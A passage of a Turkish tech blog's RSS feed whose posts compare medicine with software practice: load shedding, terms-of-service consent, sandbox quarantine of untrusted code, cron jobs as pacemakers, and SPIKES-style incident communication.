Ama satın almak istediği ürünü alır, parasını öder ve siparişini tamamlar. Şirket ticaretine devam eder.</p>
<p>Sisteminizin el ve ayak parmakları donmuştur; ama kalbi atmaya, beyni yaşamaya devam etmiştir.</p>
<h3>Yük Atma (Load Shedding) Korkaklık Değildir</h3>
<p>Birçok yazılım yöneticisi veya mükemmeliyetçi mühendis, sistemdeki bazı servisleri kapatmayı bir "başarısızlık" olarak görür: <em>"Ama müşteriler yorumları okuyamayacak!"</em></p>
<p>Bu itiraz, dondurucu soğukta dağda mahsur kalmış bir dağcının, <em>"Ama ayak parmaklarım çok üşüyor, kanı tekrar ayaklarıma pompalayın"</em> demesiyle aynı deliliktir. O kanı ayaklarına pompalarsan, 5 dakika sonra donarak ölürsün.</p>
<p>Sistem mühendisliğinde buna <strong>Load Shedding (Yük Atma)</strong> denir.<br>
Gerektiğinde trafiğin en fuzuli kısmını kapıda acımasızca reddedebilmek (rate limiting, shed load); sistemin çekirdeğini ayakta tutmanın tek yoludur.</p>
<p>Bir fırtınanın ortasında her şeyi aynı anda kusursuzca çalıştırmaya çalışmak cesaret değil; kör bir kibirdir.</p>
<p>Gerçek bir usta; ne zaman tüm gücüyle koşacağını bildiği kadar, kriz anında hangi fuzuli yükleri tereddütsüz feda edeceğini de çok iyi bilendir.</p>
<p>Çünkü hayatta kalmanın birinci kuralı her uzvu korumak değil; kalbin durmasına asla izin vermemektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>hipotermi</category>
            <category>graceful-degradation</category>
            <category>mimari</category>
            <category>paramedik</category>
            <category>resilience</category>
            <category>yuk-yonetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/hipotermi-ve-kademeli-sistem-yavaslamasi-graceful-degradation/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Tıbbi Onam Formu" ve Kullanıcı Sözleşmeleri: Soğuk Sorumluluk Reddi]]></title>
            <link>http://localhost:3000/blog/post/tibbi-onam-formu-ve-kullanici-sozlesmeleri-soguk-sorumluluk-reddi</link>
            <guid>tibbi-onam-formu-ve-kullanici-sozlesmeleri-soguk-sorumluluk-reddi</guid>
            <pubDate>Sat, 01 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Hastaya müdahale etmeden önce imzalatılan karmaşık tıbbi onam formları ile bir uygulamayı yüklerken kimsenin okumadan onayladığı 50 sayfalık sözleşmeler. Güven ilişkisini mekanikleştiren soğuk bürokrasi üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/tibbi-onam-formu-ve-kullanici-sozlesmeleri-soguk-sorumluluk-reddi/thumbnail" alt=""> Hastanelerin ameliyathane kapılarında veya acil servis triyajlarında yaşanan en soğuk, en yabancılaştırıcı ritüellerden biri <strong>"Aydınlatılmış Onam Formu"</strong> imzalatma anıdır.</p>
<p>Hasta sedyede acı içinde kıvranıyordur, ailesi gözyaşları içinde kapıda bekliyordur. O sırada elinde bir pano ve tükenmez kalemle bir görevli gelir. Önünüze 8 puntoluk, anlaşılmaz Latince terimlerle ve hukuki jargonla dolu 6 sayfalık bir metin uzatır:<br>
<em>"Şurayı, şurayı ve en altı imzalayın lütfen."</em></p>
<p>O metinde ne yazar biliyor musunuz?<br>
<em>"Bu ameliyat sırasında kalbiniz durabilir, felç geçirebilirsiniz, enfeksiyon kapabilirsiniz, anestezi komasına girebilirsiniz, organınız zarar görebilir... Bunların hiçbirinde hastanemiz ve hekimlerimiz sorumlu tutulamaz."</em></p>
<p>Hasta o an neyi imzaladığını idrak edebilir mi? Hayır. Korku ve çaresizlik içindeki bir insanın o metni rasyonel olarak analiz etmesi imkânsızdır. Titreyen ellerle o imzayı atar.</p>
<p>Çünkü herkes bilir ki; o formun birincil amacı hastayı aydınlatmak veya korumak değildir. O formun tek varoluş sebebi; olası bir faciada hastanenin avukatlarına mahkemede sunabilecekleri kurşun geçirmez bir <strong>"Sorumluluk Reddi" (Disclaimer)</strong> zırhı sağlamaktır. Hukuki açıdan kusursuz, insani ve ahlaki açıdan ise buz gibi bir bürokrasidir.</p>
<p>Peki şimdi elinizdeki akıllı telefonu açın: <strong>Yazılım dünyasının "Terms &#x26; Conditions" (Kullanıcı Sözleşmeleri) tam olarak bu değil midir?</strong></p>
<h3>Dünyanın En Büyük Yalanı: "Kullanım Koşullarını Okudum ve Kabul Ediyorum"</h3>
<p>İnternet çağının en evrensel, en organize ve en ikiyüzlü yalanı nedir diye sorsalar, hiç şüphesiz şu cevabı veririm:<br>
<em>"Kullanım koşullarını ve gizlilik politikasını okudum, kabul ediyorum."</em></p>
<p>Yeni bir uygulama indirirsiniz, bir yapay zeka servisine üye olursunuz veya telefonunuza bir güncelleme gelir. Karşınıza 50 sayfalık, avukatların bilerek en karmaşık cümlelerle ördüğü devasa bir metin bloğu fırlar. Altında ise parlak, mavi bir buton: <strong>"Kabul Et"</strong>.</p>
<p>Carnegie Mellon Üniversitesi'nin yaptığı ünlü bir araştırma var: Eğer sıradan bir internet kullanıcısı, bir yıl içinde karşılaştığı tüm kullanıcı sözleşmelerini gerçekten kelimesi kelimesine okumaya kalksaydı; her gün tam <strong>8 saatini sadece bu sözleşmeleri okumaya</strong> ayırmak zorunda kalırdı!</p>
<p>Yani sistem, sizin o metni <strong>okumamanız üzerine</strong> tasarlanmıştır.</p>
<p>Tıpkı sedyedeki acil hastası gibi; kullanıcı da o an o uygulamaya, o servise, o iletişime muhtaçtır. Dijital dünyanın kapısında rehindir. O butona basmaktan başka hiçbir şansı yoktur.</p>
<p>Ve o butona bastığı an; şirketler kullanıcının konum verilerini satma, fotoğraflarını yapay zeka modellerini eğitmek için kullanma, tek taraflı olarak hesabını silme ve her türlü veri sızıntısında <em>"Ama sözleşmede yazmıştık"</em> diyerek kenara çekilme hakkını ceplerine koyarlar.</p>
<h3>Hukuki Kalkan vs. Mühendislik Etiği</h3>
<p>Teknoloji şirketlerinin yönetim masalarında sıkça duyduğum mide bulandırıcı bir argüman vardır:<br>
<em>"Sözleşmeye bu maddeyi koyduk, hukuken başımız ağrımaz. Kullanıcı onayladı."</em></p>
<p>Bir hastaya ameliyattan önce olası 100 farklı komplikasyonun yazılı olduğu bir kâğıdı imzalatmış olmanız; ameliyat sırasında sizin dikkatsizce bir damarı kesmenizi meşru kılar mı? Mahkemede ceza almasanız bile, vicdanınızda o hastanın katili olmaktan kurtulabilir misiniz?</p>
<p>Yazılımda da durum aynıdır.</p>
<p>Kullanıcı sözleşmesine en küçük harflerle <em>"Verileriniz üçüncü partilerle paylaşılabilir"</em> yazmış olmanız; o kullanıcıların en mahrem bilgilerini reklam şirketlerine pazarlamanızı ahlaki kılmaz.<br>
<em>"Hizmet kesintilerinden şirketimiz sorumlu değildir"</em> maddesini koymuş olmanız; test yazmadığınız için bir startup'ın tüm ödeme altyapısını çökerttiğinizde suçsuz olduğunuz anlamına gelmez.</p>
<p>İmza atılan kâğıtlar sadece hukuku ve avukatları korur.<br>
Kullanıcıyı ve hastayı koruyan tek gerçek güç ise; <strong>masadaki uzmanın ahlakı, vicdanı ve mesleki namusudur.</strong></p>
<h3>Şeffaflık Bir Lütuf Değil, Saygıdır</h3>
<p>Modern tıpta son yıllarda bu soğuk onam bürokrasisine karşı harika bir hareket başladı: Hastaya kâğıt imzalatmadan önce gözlerinin içine bakmak, riskleri sade bir dille, metaforlarla, bir dost gibi anlatmak ve gerçek bir rıza üretmek.</p>
<p>Yazılım dünyasının da acilen bu olgunluğa erişmesi gerekiyor:</p>
<ul>
<li>Kullanıcının karşısına 50 sayfalık hukuki duvarlar örmek yerine; 3 maddelik, herkesin anlayabileceği sade bir özet sunabilmelisiniz: <em>"1. Verilerinizi kimseye satmıyoruz. 2. İstediğiniz an tüm verilerinizi silebilirsiniz. 3. Sistemimizi güvenle kullanmanız için elimizden geleni yapıyoruz."</em></li>
<li>Güvenlik açıklarınızı ve hatalarınızı hukuki bahanelerin arkasına saklamamalı; bir sorun çıktığında şeffaflıkla özür dileyip faturayı üstlenebilmelisiniz.</li>
</ul>
<p>Çünkü günün sonunda, bir şirketi gerçekten büyük yapan şey kullanıcılarını ne kadar iyi kandırdığı veya sözleşmelerle nasıl bağladığı değildir.</p>
<p>Bir şirketi büyük yapan şey; o parlak "Kabul Et" butonunun arkasında duran insanın güvenine duyduğu sarsılmaz saygıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>etik</category>
            <category>kullanici-sozlesmesi</category>
            <category>onam-formu</category>
            <category>hukuk</category>
            <category>paramedik</category>
            <category>guven</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/tibbi-onam-formu-ve-kullanici-sozlesmeleri-soguk-sorumluluk-reddi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Karantinaya Alma (Quarantine) ve İzole Sandbox Alanları]]></title>
            <link>http://localhost:3000/blog/post/karantinaya-alma-quarantine-ve-izole-sandbox-alanlari</link>
            <guid>karantinaya-alma-quarantine-ve-izole-sandbox-alanlari</guid>
            <pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bulaşıcı bir hastalık taşıyan hastanın izole edilerek karantinaya alınması ile; şüpheli bir kod parçacığının veya dosyanın Sandbox içinde çalıştırılması arasındaki ortak savunma felsefesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/karantinaya-alma-quarantine-ve-izole-sandbox-alanlari/thumbnail" alt=""> 14. yüzyılda Avrupa'yı kasıp kavuran Kara Veba salgını sırasında, dönemin en büyük ticaret limanlarından biri olan Venedik Cumhuriyeti, tıp ve halk sağlığı tarihini sonsuza dek değiştiren bir uygulamaya imza attı.</p>
<p>Şehre yanaşmak isteyen yabancı ticaret gemileri doğrudan limana alınmıyordu. Gemiler, Venedik lagününün açıklarındaki küçük bir adada tam <strong>40 gün</strong> boyunca demirli tutuluyordu. İtalyancada "kırk" anlamına gelen <em>quaranta</em> kelimesinden türeyen bu ritüelin adı tarihe altın harflerle kazındı: <strong>Karantina.</strong></p>
<p>Mantık son derece yalın ve dehaydı:<br>
Dışarıdan gelen bir gemiyi doğrudan reddedip batıramazsınız; çünkü ticaretin sürmesi gerekir. Ama onu doğrudan şehrin kalbine de sokamazsınız; çünkü içinde veba mikrobu taşıyor olabilir. Yapılacak tek rasyonel şey; onu sınırların hemen dışında, tamamen izole edilmiş, etrafı denizle çevrili steril bir alanda bekletmek, gözlemlemek ve şehre bulaşma riskini sıfırlamaktır.</p>
<p>Bugün modern acil servislerde de bulaşıcı bir patojen (örneğin tüberküloz veya viral bir hemorajik ateş) şüphesi olan bir hasta geldiğinde aynı kural uygulanır:<br>
Hasta hemen <strong>Negatif Basınçlı İzolasyon Odasına</strong> alınır. Odanın havası dışarıya sızamaz; hava özel HEPA filtrelerden geçirilerek emilir. Kapılar çift kademelidir. Şüpheli organizma kontrol altındadır.</p>
<p>Peki, aynı salgın tehdidi her saniye binlerce yabancı dosya ve veri paketi alan yazılım sistemlerimizde nasıl yönetiliyor?</p>
<h3>Dijital Salgın: Üçüncü Parti Paketler ve Kullanıcı Dosyaları</h3>
<p>Modern yazılım sistemleri, tıpkı o 14. yüzyıl Venedik limanı gibi dünyanın her yerinden gemi kabul eden açık birer pazar yeridir.</p>
<p>Sisteminizin kapısından içeri her gün;</p>
<ul>
<li>Kullanıcıların profil fotoğrafı veya fatura diye yüklediği PDF dosyaları,</li>
<li>E-posta eklentileri,</li>
<li><code>npm install</code> diyerek projenize dahil ettiğiniz, dünyanın öbür ucundaki tanımadığınız bir geliştiricinin yazdığı üçüncü parti açık kaynak kütüphaneler,</li>
<li>Müşterilerin girdiği karmaşık HTML ve JavaScript kodları akar.</li>
</ul>
<p>Eğer sisteminizde bir izolasyon mimarisi yoksa; kullanıcının yüklediği masum görünümlü o PDF dosyasının içine gizlenmiş bir zararlı yazılım (malware), ana sunucunuzun kök dizinine (root) erişebilir. Ya da projenize eklediğiniz küçük bir utility kütüphanesi, sunucunuzdaki tüm ortam değişkenlerini (environment variables) ve veritabanı şifrelerini gizlice bir saldırgana sızdırabilir.</p>
<p>Tıpkı vebalı bir denizcinin Venedik sokaklarına karışması gibi; tek bir yabancı paket, tüm şirketi dijital bir salgınla kırıp geçirebilir.</p>
<h3>Sandbox: Lagündeki Karantina Adası</h3>
<p>İşte siber güvenlik mühendisliğinin bu bulaşma riskine karşı geliştirdiği en kusursuz savunma hattına <strong>"Sandbox" (Kum Havuzu / Korumalı Alan)</strong> denir.</p>
<p>Sandbox; güvenilmeyen, şüpheli veya potansiyel olarak zararlı bir kod parçacığını, ana işletim sisteminden ve ağdan tamamen yalıtılmış sanal bir kafesin içinde çalıştırma sanatıdır:</p>
<ol>
<li><strong>Tarayıcı İzolasyonu (Chrome Sandbox):</strong> Kullandığınız modern tarayıcılar (Chrome, Brave vb.) bu mantıkla çalışır. Açtığınız her bir sekme, işletim sisteminden tamamen izole edilmiş ayrı bir sandbox sürecinde (process) çalıştırılır. Bir sekmede girdiğiniz zararlı bir web sitesi patlasa bile; o sekme çöker ama işletim sisteminize veya yan sekmedeki bankacılık oturumunuza asla sıçrayamaz.</li>
<li><strong>Mikro Sanallaştırma (Firecracker / gVisor):</strong> AWS Lambda veya modern sunucusuz (serverless) platformları düşünün. Kullanıcıların yüklediği rastgele kodlar, milisaniyeler içinde ayağa kalkan ve işi bittiğinde yok olan mikro sanal makinelerde (MicroVM) çalıştırılır. Kod ana sunucunun donanımına asla doğrudan dokunamaz.</li>
<li><strong>Dosya İşleme Odaları:</strong> Kullanıcı bir avatar resmi yüklediğinde; o resmi ana uygulama sunucunuzda işlemezsiniz. Onu sadece dosya dönüştürme yetkisi olan, internet çıkışı ve veritabanı erişimi bulunmayan izole bir "karantina container'ına" atarsınız. Eğer resmin içine bir exploit gizlenmişse, o patlama o steril odanın içinde gerçekleşir ve söner.</li>
</ol>
<h3>Bulaşma Riskini Sıfırlamanın Yolu</h3>
<p>Birçok yazılımcı güvenliği, sadece "şüpheli görüneni engellemek" (blacklisting) sanır:<br>
<em>"Dosya uzantısı .exe ise içeri alma, .png ise güvenlidir."</em></p>
<p>Bu, kapıdaki denizcinin sadece yüzüne bakıp <em>"Bu adam sağlıklı görünüyor, içeri girsin"</em> demekle aynı ölümcül saflıktır. Virüsler kendilerini en masum formların içine gizlerler.</p>
<p>Bulaşma riskini yönetmenin tek felsefi yolu şudur:<br>
<strong>Dışarıdan gelen her şeyi peşinen potansiyel bir taşıyıcı olarak kabul etmek ve onu kontrollü bir fanusun içine hapsetmektir.</strong></p>
<p>Sisteminizin kapılarını dış dünyaya tamamen kapatamazsınız; çünkü kapıyı kapatırsanız ticaret ölür, inovasyon durur.<br>
Ama içeri giren her yabancı misafire de sarayınızın anahtarlarını veremezsiniz.</p>
<p>Güvenilmeyen her koda, her kütüphaneye ve her dosyaya bir Venedik karantinası uygulayın.<br>
Bırakın o adada 40 gün beklesin.<br>
Bırakın güvenli kum havuzunda oynasın.</p>
<p>Çünkü gerçek güvenlik; fırtınayı durdurmak değil, fırtınanın içeriye sıçrayabileceği tüm pencereleri kurşun geçirmez camlarla mühürleyebilmektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>karantina</category>
            <category>sandbox</category>
            <category>guvenlik</category>
            <category>izolasyon</category>
            <category>paramedik</category>
            <category>biyoloji</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/karantinaya-alma-quarantine-ve-izole-sandbox-alanlari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Kalp Pili (Pacemaker) ve Cron Job'lar: Ritmi Veren Gizli Zamanlayıcılar]]></title>
            <link>http://localhost:3000/blog/post/kalp-pili-pacemaker-ve-cron-joblar-ritmi-veren-gizli-zamanlayicilar</link>
            <guid>kalp-pili-pacemaker-ve-cron-joblar-ritmi-veren-gizli-zamanlayicilar</guid>
            <pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[İnsan kalbinin elektriksel ritmini kaybettiğinde devreye giren kalp pilleri ile; arka planda sessizce veritabanı temizliğini, faturalandırmayı ve yedeklemeyi tam vaktinde tetikleyen Cron Job sistemleri üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kalp-pili-pacemaker-ve-cron-joblar-ritmi-veren-gizli-zamanlayicilar/thumbnail" alt=""> İnsan göğsünün derinliklerinde, sağ kulakçığın üst duvarında sadece birkaç milimetrelik mikroskobik bir hücre kümesi bulunur: <strong>Sinoatriyal (SA) Düğüm.</strong></p>
<p>Burası insan bedeninin baş zamanlayıcısıdır (Master Clock). Herhangi bir dış müdahaleye, beyinden gelecek bir komuta bile ihtiyaç duymadan; kendi kendine elektriksel aksiyon potansiyeli üretir. Dakikada 70 kez o minik elektriksel kıvılcımı çakar, sinyal kulakçıklardan karıncıklara yayılır ve kalp kasılır: <em>Küt... Küt... Küt...</em></p>
<p>Bütün biyolojik varoluşumuz, bu hücre kümesinin milisaniyelik bir intizamla zamanı saymasına bağlıdır.</p>
<p>Ancak yaşlılık, enfarktüs veya iletim bozuklukları nedeniyle o doğal zamanlayıcı iflas ettiğinde (örneğin tam kalp bloğu veya ağır bradikardi geliştiğinde); kalp kendi ritmini kaybeder. Nabız 20'ye düşer, beyne kan gitmez ve insan yere yığılır.</p>
<p>O an tıbbın devreye soktuğu dahi mühendislik harikası nedir biliyor musunuz? <strong>Yapay Kalp Pili (Pacemaker).</strong></p>
<p>Cerrah köprücük kemiğinin altına küçük, titanyum kaplı bir pil yerleştirir; ucundaki elektrotları kalbin odacıklarına uzatır. Pacemaker sessizce orada bekler. Kalbin kendi ritmini dinler. Eğer kalp vaktinde atmazsa, pacemaker saniyenin binde biri kadar bir hassasiyetle küçük bir elektrik uyarısı gönderir ve kalbe vuruş yaptırır.</p>
<p>Kullanıcı onu görmez. Aynaya baktığında fark etmez. Ön yüzde hiçbir şovu yoktur. Ama o pil durduğu an, hayat biter.</p>
<p>Peki yazılım dünyasında sistemlerimizin ritmini veren, gece gündüz sessizce çalışan o gizli kalp pilleri nelerdir? <strong>Cron Job'lar ve Zamanlanmış Görevler (Schedulers).</strong></p>
<h3>Ön Yüzün Şovuna Kananlar, Arka Planın Ritmini Görmez</h3>
<p>Yazılım geliştiriciler ve ürün yöneticileri, genellikle kullanıcıların doğrudan gördüğü "ön yüz" (frontend) özelliklerine aşık olurlar: Parlak butonlar, akıcı mikro-animasyonlar, yapay zekalı sohbet pencereleri... Şirket içi kutlamalar hep bu ekranlar için yapılır.</p>
<p>Oysa bir teknoloji şirketini gerçekten hayatta tutan şey o pikseller değildir.<br>
Bir şirketi hayatta tutan şey; sunucuların en karanlık köşesinde, kimsenin görmediği bir Linux kabuğunda veya Kubernetes CronJob manifestosunda tıkır tıkır çalışan o <strong>sessiz ritimlerdir</strong>:</p>
<ul>
<li>Her gece saat 00:01'de çalışan ve 50 bin abonenin kredi kartından yenileme ücretini tahsil eden faturalandırma cron'u,</li>
<li>Her sabah saat 03:00'te veritabanının soğuk yedeğini alıp şifreleyerek farklı bir kıtadaki S3 bucket'ına yükleyen yedekleme script'i,</li>
<li>Her 5 dakikada bir kuyrukta bekleyen e-postaları ve SMS bildirimlerini dağıtan worker servisi,</li>
<li>Her saat başı süresi dolmuş oturumları ve geçici token'ları temizleyen boşaltım görevi...</li>
</ul>
<p>Bu görevler tıpkı o kalp pili gibidir. Arka planda sessizce tıkır tıkır elektrik sinyali gönderirler.</p>
<h3>Kalp Pili Durduğunda Ne Olur?</h3>
<p>Bir cron job çöktüğünde ne olur biliyor musunuz?<br>
Korkunç olan şudur: <strong>Sistem anında hata vermez.</strong></p>
<p>Kullanıcılar siteye girmeye, sayfaları gezmeye ve sepete ürün eklemeye devam eder. Frontend'de tek bir kırmızı uyarı bile çıkmaz. Datadog dashboard'unuz yeşildir.</p>
<p>Ama arka planda kalp pili durmuştur. Aritmi başlamıştır:</p>
<ul>
<li>Faturalandırma cron'u çalışmadığı için şirketin kasasına para girmez,</li>
<li>Yedekleme script'i sessizce patladığı için şirket günlerdir tek bir yedek bile almadan uçurumun kenarında yürümektedir,</li>
<li>Geçici dosyaları temizleyen cron durduğu için disk alanı megabayt megabayt dolmaktadır.</li>
</ul>
<p>Ve iki hafta sonra, o kaçınılmaz gün gelir: Disk %100 dolar, veritabanı kilitlenir, şirket tek bir günde binlerce abonesini kaybeder ve yedekten geri dönmek istediklerinde ellerinde hiçbir yedeğin olmadığını dehşet içinde fark ederler.</p>
<p>Bu ani bir ölüm değildir; bu, kalp pili durduğu için organları yavaş yavaş oksijensiz kalarak can veren bir sistemin dramıdır.</p>
<h3>Güvenilir Bir Pacemaker Mimarisi</h3>
<p>Birçok ekip cron job'ları o kadar amatörce yönetir ki hayret edersiniz: Sunucudaki rastgele bir kullanıcının <code>crontab -e</code> dosyasına yazılmış, logları <code>/dev/null</code>a yönlendirilmiş, hata verdiğinde kimsenin ruhunun duymadığı yüzlerce sahipsiz komut!</p>
<p>Bu, bir hastaya kalp pili takıp, pilin çalışıp çalışmadığını asla kontrol etmemekle aynı cinayettir.</p>
<p>Eğer sisteminizin kalbini seviyorsanız, şu üç prensibi uygulamak zorundasınız:</p>
<ol>
<li><strong>Ölü Adam Anahtarı (Dead Man's Snitch):</strong> Bir cron job hata verdiğinde alarm çalması yetmez; <strong>çalışmadığında da</strong> alarm çalmalıdır. Kalp pili gibi; eğer beklenen saatte o görevden bir "Ben hayattayım ve görevimi tamamladım" sinyali (heartbeat) gelmediyse, nöbetçi mühendisin telefonu anında çalmalıdır.</li>
<li><strong>Tekrar Çalışabilirlik (Idempotency):</strong> Bir zamanlayıcı şebeke kesintisi veya sunucu yeniden başlaması yüzünden aynı görevi iki kez çalıştırabilir. Kodunuz öyle tasarlanmalıdır ki; aynı cron job günde 10 kez de çalışsa, bir müşteriden asla iki kez para çekmemelidir.</li>
<li><strong>Çakışma Kilitleri (Overlap Locks / Mutex):</strong> Beş dakikada bir çalışan bir veri senkronizasyon cron'u, veri hacmi arttığı için 7 dakika sürebilir. Eğer arkadan gelen yeni cron işiyle çakışırsa, veritabanında deadlock patlar. Dağıtık bir kilit (örneğin Redis Redlock) kullanarak aynı görevin üst üste binmesini engellemelisiniz.</li>
</ol>
<p>Göz önünde olanı parlatmak kolaydır.<br>
Gerçek mühendislik ustalığı ise; kimsenin görmediği, kimsenin alkışlamadığı ama durduğu an tüm organizmayı öldürecek olan o arka plan ritimlerine bir cerrahın titizliğiyle bekçilik edebilmektir.</p>
<p>Sisteminizin kalbini sahipsiz bırakmayın.<br>
O gizli zamanlayıcıların nabzını her saniye hissedin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>cron-job</category>
            <category>pacemaker</category>
            <category>kalp-pili</category>
            <category>altyapi</category>
            <category>zamanlayici</category>
            <category>paramedik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kalp-pili-pacemaker-ve-cron-joblar-ritmi-veren-gizli-zamanlayicilar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Hastaya "Kötü Haber Verme" Protokolü (SPIKES) ve Müşteriye/Yönetime Prod Çöküşü Açıklamak]]></title>
            <link>http://localhost:3000/blog/post/hastaya-kotu-haber-verme-protokolu-spikes-ve-musteriyeyonetime-prod-cokusu-aciklamak</link>
            <guid>hastaya-kotu-haber-verme-protokolu-spikes-ve-musteriyeyonetime-prod-cokusu-aciklamak</guid>
            <pubDate>Wed, 29 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Tıpta ağır bir teşhisi veya kaybı açıklamak için uygulanan metodolojik SPIKES protokolü ile; prod patladığında veya veri kaybı yaşandığında müşteriye ve üst yönetime durumu soğukkanlılıkla anlatma sanatı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/hastaya-kotu-haber-verme-protokolu-spikes-ve-musteriyeyonetime-prod-cokusu-aciklamak/thumbnail" alt=""> Bir hekimin veya acil tıp çalışanının meslek hayatı boyunca yapacağı en zor, en ağır ve boğazı en çok düğümleyen görev nedir biliyor musunuz?<br>
Bir ameliyatı yapmak değil; bir kalbe masaj yapmak da değil.</p>
<p>En zor görev; o ameliyathanenin veya acil odasının kapısını açıp, koridorda umutla bekleyen bir anneye, bir eşe ya da bir evlada bakıp şu cümleyi kurmaktır:<br>
<em>"Elimizden gelen her şeyi yaptık ama maalesef onu kaybettik."</em></p>
<p>O an o koridorda yapılacak en ufak bir iletişimsizlik, yanlış seçilmiş tek bir kelime veya gösterilecek soğuk bir kibir; insanların hayat boyu unutamayacağı devasa bir travmaya ve öfke patlamasına yol açabilir.</p>
<p>İşte bu yüzden modern tıp, kötü haber vermeyi hekimlerin anlık duygusal reflekslerine bırakmamıştır. Onkolojide ve acil tıpta dünya çapında kabul görmüş katı bir iletişim protokolü uygulanır: <strong>SPIKES Protokolü.</strong></p>
<p>Robert Buckman ve Walter Baile tarafından geliştirilen bu protokol, en karanlık kriz anında bile iletişimin nasıl bir cerrahi zarafetle yürütülmesi gerektiğini 6 adımda emreder:</p>
<ol>
<li><strong>S (Setting up):</strong> Doğru ortamı hazırla. Koridorda ayaküstü konuşma; sakin bir odaya geç, göz teması kur, telefonu sessize al.</li>
<li><strong>P (Perception):</strong> Karşı tarafın algısını ölç. <em>"Şu ana kadar hastanın durumuyla ilgili size neler söylendi?"</em></li>
<li><strong>I (Invitation):</strong> Detay sınırını çiz. Bilgiyi ne kadar duymak istiyorlar?</li>
<li><strong>K (Knowledge):</strong> Kötü haberi doğrudan, dolambaçsız ve jargonsuz ver. Tıbbi Latince terimlerin arkasına saklanma.</li>
<li><strong>E (Empathy):</strong> Duyguları kabul et ve alan aç. Sessiz kal, öfkeye ya da gözyaşlarına şefkatle eşlik et.</li>
<li><strong>S (Strategy &#x26; Summary):</strong> Bundan sonraki net yol haritasını çiz. <em>"Şimdi atacağımız adımlar şunlar..."</em></li>
</ol>
<p>Peki, şimdi bu yüksek duygusal zekayı ve kriz disiplinini alın; yazılım dünyasında sistemlerin çöktüğü, veritabanlarının silindiği o kanlı kriz günlerinin tam ortasına yerleştirin.</p>
<h3>"Teknik Bir Aksaklık Yaşanıyor" Yalanı</h3>
<p>Bir teknoloji şirketinde production sunucusu çöktüğünde veya büyük bir veri sızıntısı yaşandığında sergilenen kurumsal iletişim performansı genellikle tam bir sefalettir.</p>
<p>Sistem patlamıştır; e-ticaret sitesi çalışmıyordur, kullanıcılar ödeme yapamıyordur.<br>
Yönetim panik içindedir, müşteriler Twitter'da öfkeyle yazıyordur.</p>
<p>Peki mühendislik ekibi veya kurumsal iletişim ne yapar?<br>
Ya kapıları kilitleyip saatlerce hiçbir açıklama yapmazlar (ölüm sessizliği), ya da kullanıcıların zekasıyla alay eden o meşhur kalıp cümleyi sosyal medyaya yapıştırırlar:<br>
<em>"Sistemlerimizde planlı bir bakım çalışması / teknik bir aksaklık yaşanmaktadır. Anlayışınız için teşekkür ederiz."</em></p>
<p>Müşteri bilir ki o bakım planlı değildir. Müşteri parasının nerede olduğunu, siparişinin akıbetini ve ne zaman düzeleceğini öğrenmek istiyordur. Karşısında şeffaf bir insan bulamayınca da öfkesi çığ gibi büyür; markaya olan güven sıfırlanır.</p>
<p>Kriz anında iletişimi yönetemeyen bir ekip; kodu düzeltseler bile şirketin itibarını mezara gömer.</p>
<h3>SPIKES Protokolü ile Kriz İletişimi</h3>
<p>Bir yazılım krizinde müşterinize, şirketinizin CEO'suna veya yatırımcılarınıza durumu izah etmek zorundaysanız; tıptaki SPIKES protokolünü klavyenizin başına taşımak zorundasınız:</p>
<h4>1. Setting Up (Kriz Masasını Kur)</h4>
<p>Gürültüyü kesin. Yüz farklı Slack kanalında dedikodu dönmesine izin vermeyin. Hemen tek bir resmi kriz kanalı (<code>#incident-2026-payment</code>) açın. Bir <strong>Incident Commander (Kriz Lideri)</strong> ve iletişimi dışarıya aktaracak tek bir <strong>İletişim Sorumlusu (Scribe)</strong> belirleyin.</p>
<h4>2. Perception (Karşı Taraf Neyi Görüyor?)</h4>
<p>Müşterinin veya üst yönetimin krizden ne kadar haberdar olduğunu ölçün. Yöneticiniz sadece Twitter'daki 3 şikayeti mi gördü, yoksa cironun durduğunu biliyor mu? İletişime onların bulunduğu gerçeklik zemininden başlayın.</p>
<h4>3. Knowledge (Jargonsuz, Çıplak Gerçek)</h4>
<p>Yöneticinize veya müşterinize <em>"PostgreSQL WAL dosyalarındaki I/O darboğazı yüzünden connection pool tükendi"</em> demeyin. Bu, bir hasta yakınına <em>"Miyokard enfarktüsü sonrası ventriküler disfonksiyon gelişti"</em> demekle aynı şeydir; sadece kafa karıştırır ve güvensizlik yaratır.<br>
Net konuşun:<br>
<em>"Ödeme servisimiz saat 14:15 itibarıyla yanıt vermeyi durdurdu. Şu an hiçbir kullanıcımızdan tahsilat yapamıyoruz ve yeni sipariş alamıyoruz."</em></p>
<h4>4. Empathy (Acıyı ve Etkiyi Paylaş)</h4>
<p>Karşı tarafın stresini ve kaybını kabul edin:<br>
<em>"Bu kesintinin şirketimizin bugünkü cirosunu ve Black Friday kampanyasını ne kadar kritik bir şekilde etkilediğinin tamamen farkındayız. Yaşattığımız aksaklık için ekibim adına samimiyetle özür dilerim."</em></p>
<h4>5. Strategy &#x26; Summary (Yol Haritası ve Zaman Sınırı)</h4>
<p>İşte krizdeki paniği söndüren ve güveni yeniden inşa eden en hayati adım:</p>
<ul>
<li><em>"Şu an sorunun son deploy edilen koddan kaynaklandığını tespit ettik."</em></li>
<li><em>"Geri alma (rollback) sürecini başlattık."</em></li>
